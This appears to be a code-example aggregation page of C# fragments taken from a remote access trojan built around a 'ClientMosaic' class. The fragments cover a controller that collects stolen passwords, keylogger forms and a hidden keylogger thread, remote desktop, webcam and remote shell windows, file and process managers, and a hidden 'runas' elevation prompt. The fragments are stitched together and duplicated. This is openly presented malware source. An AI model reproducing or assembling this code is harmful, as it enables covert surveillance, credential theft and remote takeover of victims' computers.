Example #1
0
        private void removeClientFromListView(ClientMosaic client)
        {
            if (client == null)
            {
                return;
            }

            try
            {
                lvClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        foreach (ListViewItem lvi in lvClients.Items.Cast <ListViewItem>()
                                 .Where(lvi => lvi != null && client.Equals(lvi.Tag)))
                        {
                            lvi.Remove();
                            break;
                        }
                    }
                });
            }
            catch (InvalidOperationException)
            {
            }
        }
        private void removeClientFromListView(ClientMosaic client)
        {
            if (client == null)
            {
                return;
            }

            try
            {
                lvClients.Dispatcher.BeginInvoke(new Action(delegate
                {
                    lock (_lockClients)
                    {
                        for (int i = 0; i < lvClients.Items.Count; i++)
                        {
                            if (client == ((ClientRegistration)lvClients.Items[i]).Client)
                            {
                                lvClients.Items.RemoveAt(i);
                            }
                        }
                    }
                }));
            }
            catch (InvalidOperationException)
            {
            }
        }
        public static void HandleGetAuthenticationResponse(ClientMosaic client, GetAuthenticationResponse packet)
        {
            if (client.endPoint.Address.ToString() == "255.255.255.255")
            {
                return;
            }

            try
            {
                client.value.version         = packet.version;
                client.value.operatingSystem = packet.operatingSystem;
                client.value.accountType     = packet.accountType;
                client.value.country         = packet.country;
                client.value.countryCode     = packet.countryCode;
                client.value.city            = packet.city;
                client.value.imageIndex      = packet.imageIndex;
                client.value.id   = packet.id;
                client.value.name = packet.name;

                client.value.downloadDirectory = (checkPathForIllegalChars(client.value.name)) ?
                                                 Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.value.name, client.value.id.Substring(0, 7))) :
                                                 Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.endPoint.Address, client.value.id.Substring(0, 7)));
            }
            catch
            {
            }
        }
Example #4
0
        public static void doAskElevate(DoAskElevate packet, ClientMosaic client)
        {
            if (AuthenticationController.getAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.currentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexController.closeMutex();

                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client);
                    MutexController.createMutex();  // re-grab the mutex
                    return;
                }

                Program.client.Exit();
            }
        }
Example #5
0
        private void addClientToListView(ClientMosaic client)
        {
            if (client == null)
            {
                return;
            }

            try
            {
                ListViewItem lvi = new ListViewItem(new string[]
                {
                    client.endPoint.ToString().Split(':')[0], client.value.name,
                    client.value.accountType, client.value.country, client.value.operatingSystem, "Connected"
                })
                {
                    Tag = client
                };

                lvClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        lvClients.Items.Add(lvi);
                        lvClients.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent);
                        lvClients.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                    }
                });
            }
            catch (InvalidOperationException)
            {
            }
        }
Example #6
0
        public static void HandleGetPasswordsResponse(ClientMosaic client, GetPasswordsResponse packet)
        {
            if (client.value == null || client.value.frmPr == null)
            {
                return;
            }

            if (packet.passwords == null)
            {
                return;
            }

            string userAtPc = client.value.name;

            var lst =
                packet.passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None))
                .Select(
                    values =>
                    new RecoveredAccount
            {
                username    = values[0],
                password    = values[1],
                URL         = values[2],
                application = values[3]
            })
                .ToList();

            if (client.value != null && client.value.frmPr != null)
            {
                client.value.frmPr.AddPasswords(lst.ToArray(), userAtPc);
            }
        }
        public static void getDesktopResponse(ClientMosaic client, GetDesktopResponse packet)
        {
            if (client.value == null || client.value.frmRdp == null)
            {
                return;
            }

            Image desktop;

            using (MemoryStream ms = new MemoryStream(packet.image))
            {
                desktop = Image.FromStream(ms);
            }

            if (client.value != null)
            {
                client.value.frmRdp.updateRdp(desktop);
            }


            packet.image = null;

            if (client.value != null && client.value.frmRdp != null && client.value.frmRdp.stopRdp != true)
            {
                new GetDesktop(85, packet.monitor).Execute(client);
            }
        }
Example #8
0
 public FrmKeyLogger(ClientMosaic client)
 {
     _client            = client;
     client.value.frmKl = this;
     _path = Path.Combine(client.value.downloadDirectory, "Logs\\");
     InitializeComponent();
 }
        public static void getProcessesResponse(ClientMosaic client, GetProcessesResponse packet)
        {
            if (client.value == null || client.value.frmTm == null)
            {
                return;
            }

            client.value.frmTm.clearListViewItems();

            if (packet.pNames == null || packet.pIds == null || packet.pTitles == null ||
                packet.pNames.Length != packet.pIds.Length || packet.pNames.Length != packet.pTitles.Length)
            {
                return;
            }

            new Thread(() =>
            {
                for (int i = 0; i < packet.pNames.Length; i++)
                {
                    if (packet.pIds[i] == 0 || packet.pNames[i] == "System.exe")
                    {
                        continue;
                    }

                    if (client.value == null || client.value.frmTm == null)
                    {
                        break;
                    }

                    client.value.frmTm.addProcessesToListView(packet.pNames[i], packet.pIds[i], packet.pTitles[i]);
                }
            }).Start();
        }
Example #10
0
 public FrmRemoteShell(ClientMosaic client)
 {
     _clientMosaic = client;
     _clientMosaic.value.frmRms = this;
     frmRemoteShellController   = new FrmRemoteShellController(client);
     InitializeComponent();
 }
        public static void getAvailableWebcamsResponse(ClientMosaic client, GetAvailableWebcamsResponse packet)
        {
            if (client.value == null || client.value.frmWbc
                == null)
                return;

            client.value.frmWbc.AddWebcams(packet.webcams);
        }
Example #12
0
        public FrmFileManager(ClientMosaic client)
        {
            _client             = client;
            _client.value.frmFm = this;
            InitializeComponent();
            ListViewItem lvi = new ListViewItem(new string[] { "", "", "", "" });

            lvTransfers.Items.Add(lvi);
        }
Example #13
0
        public static void setStatusFileManager(ClientMosaic client, SetStatusFileManager packet)
        {
            if (client.value == null || client.value.frmFm == null)
            {
                return;
            }

            client.value.frmFm.setStatus(packet.message, packet.setLastDirSeen);
        }
Example #14
0
 public void frmRdp(ClientMosaic client)
 {
     try
     {
         FrmRemoteDesktop frmRdp = new FrmRemoteDesktop(client);
         frmRdp.Text = "Remote Desktop" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmRdp.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message, "FrmRdp MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
Example #15
0
 public void frmRms(ClientMosaic client)
 {
     try
     {
         FrmRemoteShell frmRemoteShell = new FrmRemoteShell(client);
         frmRemoteShell.Text = "Remote Shell" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmRemoteShell.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message, "FrmRms MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
Example #16
0
 public void frmPr(ClientMosaic client)
 {
     try
     {
         FrmPasswordRecovery frmPr = new FrmPasswordRecovery(client);
         frmPr.Text = "Password Recovery" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmPr.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message, "FrmPr MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
Example #17
0
 public void frmTm(ClientMosaic client)
 {
     try
     {
         FrmTaskManager frmTm = new FrmTaskManager(client);
         frmTm.Text = "Task Manager" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmTm.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message, "FrmTm MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
        public static void getMonitorsResponse(ClientMosaic client, GetMonitorsResponse packet)
        {
            int number = packet.number;

            if (client.value == null || client.value.frmRdp == null)
            {
                return;
            }

            client.value.frmRdp.cleanComboBox();

            client.value.frmRdp.addScreens(number);
        }
Example #19
0
 public void frmWbc(ClientMosaic client)
 {
     try
     {
         FrmRemoteWebcam frmwbc = new FrmRemoteWebcam(client);
         frmwbc.Text = "Remote Webcam" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmwbc.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.ToString(), "FrmWbc MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
Example #20
0
 public void frmSi(ClientMosaic client)
 {
     try
     {
         FrmSystemInformation frmSi = new FrmSystemInformation(client);
         frmSi.Text = "System Information" + ' ' + client.endPoint.Address + " : " + client.endPoint.Port;
         frmSi.ShowDialog();
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message, "FrmSi MainController", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
 public void DgvUpdater(ClientMosaic client, bool addOrRem)
 {
     if (client != null)
     {
         if (!addOrRem)
         {
             ClientDisconnected(client);
         }
         else
         {
             ClientConnected(client);
         }
     }
 }
Example #22
0
        public FrmPasswordRecovery(ClientMosaic client)
        {
            _client = client;
            InitializeComponent();
            client.value.frmPr = this;
            //txtFormat.Text = ListenerState.SaveFormat;

            _noResultsFound = new RecoveredAccount()
            {
                application = "No Results Found",
                URL         = "N/A",
                username    = "******",
                password    = "******"
            };
        }
        public static void getSysInfoResponse(ClientMosaic client, GetSysInfoResponse packet)
        {
            ListViewItem[] lviCollection = new ListViewItem[packet.infoCollection.Length / 2];
            for (int i = 0, j = 0; i < packet.infoCollection.Length; i += 2, j++)
            {
                if (packet.infoCollection[i] != null && packet.infoCollection[i + 1] != null)
                {
                    lviCollection[j] = new ListViewItem(new string[] { packet.infoCollection[i], packet.infoCollection[i + 1] });
                }
            }

            if (client.value != null && client.value.frmSi != null)
            {
                client.value.frmSi.addItems(lviCollection);
            }
        }
Example #24
0
        public static void refreshDirectory(ClientMosaic client)
        {
            if (client == null || client.value == null)
            {
                return;
            }

            if (!client.value.receivedLastDirectory)
            {
                client.value.processingDirectory = false;
            }

            new GetDirectory(_currentDir).Execute(client);
            client.value.frmFm.setStatus("Loading directory content...");
            client.value.receivedLastDirectory = false;
        }
Example #25
0
        public static void getShellCmdExecuteResponse(ClientMosaic client, GetExecuteShellCmdResponse packet)
        {
            if (client.value == null || client.value.frmRms == null)
            {
                return;
            }

            if (packet.isError)
            {
                printError(packet.output);
            }
            else
            {
                printMessage(packet.output);
            }
        }
Example #26
0
        private void AcceptCallback(IAsyncResult AR)
        {
            Socket socket;

            try
            {
                socket = _serverSocket.EndAccept(AR);
            }
            catch (ObjectDisposedException)
            {
                return;
            }

            _clientSockets.Add(socket);
            ClientMosaic newClient = new ClientMosaic(socket);

            _clientControllers.Add(newClient);
            _serverSocket.BeginAccept(AcceptCallback, null);
        }
        private void ClientDisconnected(ClientMosaic client)
        {
            lock (_clientConnections)
            {
                if (!FrmListenerController.LISTENING)
                {
                    return;
                }
                _clientConnections.Enqueue(new KeyValuePair <ClientMosaic, bool>(client, false));
            }

            lock (_processingClientConnectionsLock)
            {
                if (!_processingClientConnections)
                {
                    _processingClientConnections = true;
                    ThreadPool.QueueUserWorkItem(ProcessClientConnections);
                }
            }
        }
Example #28
0
        public static void navigateUp(ClientMosaic client)
        {
            if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
            {
                if (_currentDir.LastIndexOf('/') > 0)
                {
                    _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1);
                    _currentDir = _currentDir.TrimEnd('/');
                }
                else
                {
                    _currentDir = "/";
                }

                client.value.frmFm.setCurrentDir(_currentDir);
            }
            else
            {
                client.value.frmFm.setCurrentDir(getAbsolutePath(@"..\"));
            }
        }
Example #29
0
        static void Main()
        {
            bool result;

            //bootController = new BootController();
            //StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);
            //MutexController.mutexKey = BootController.getMutexKey(readerMutex);
            MutexController.mutexKey = "sdkfjslkfjsldkfjsdlfj546s46s46s64s";
            result = MutexController.createMutex();
            //var mutex = new System.Threading.Mutex(true, mutexKey, out result);

            if (!result)
            {
                MessageBox.Show("Another instance of application is already running !");
                return;
            }
            MessageBox.Show(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME));

            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop         = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                })
                {
                    IsBackground = true
                }.Start();
            }

            ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            client = new ClientMosaic("127.0.0.1", 4444);
            //ClientMosaic.testexit = false;
            //client = new ClientMosaic(bootController.host, bootController.port);
            client.connect();
            //GC.KeepAlive(mutex);
        }
Example #30
0
        public static void getStartupItemsResponse(ClientMosaic client, GetStartupItemsResponse packet)
        {
            if (client.value == null || client.value.frmStm == null || packet.startupItems == null)
            {
                return;
            }

            foreach (var item in packet.startupItems)
            {
                if (client.value == null || client.value.frmStm == null)
                {
                    return;
                }

                int type;

                if (!int.TryParse(item.Substring(0, 1), out type))
                {
                    continue;
                }

                string preparedItem = item.Remove(0, 1);

                var temp = preparedItem.Split(new string[] { "||" }, StringSplitOptions.None);

                var l = new ListViewItem(temp)
                {
                    Group = client.value.frmStm.getGroup(type),
                    Tag   = type
                };

                if (l.Group == null)
                {
                    return;
                }

                client.value.frmStm.addAutostartItemToListview(l);
            }
        }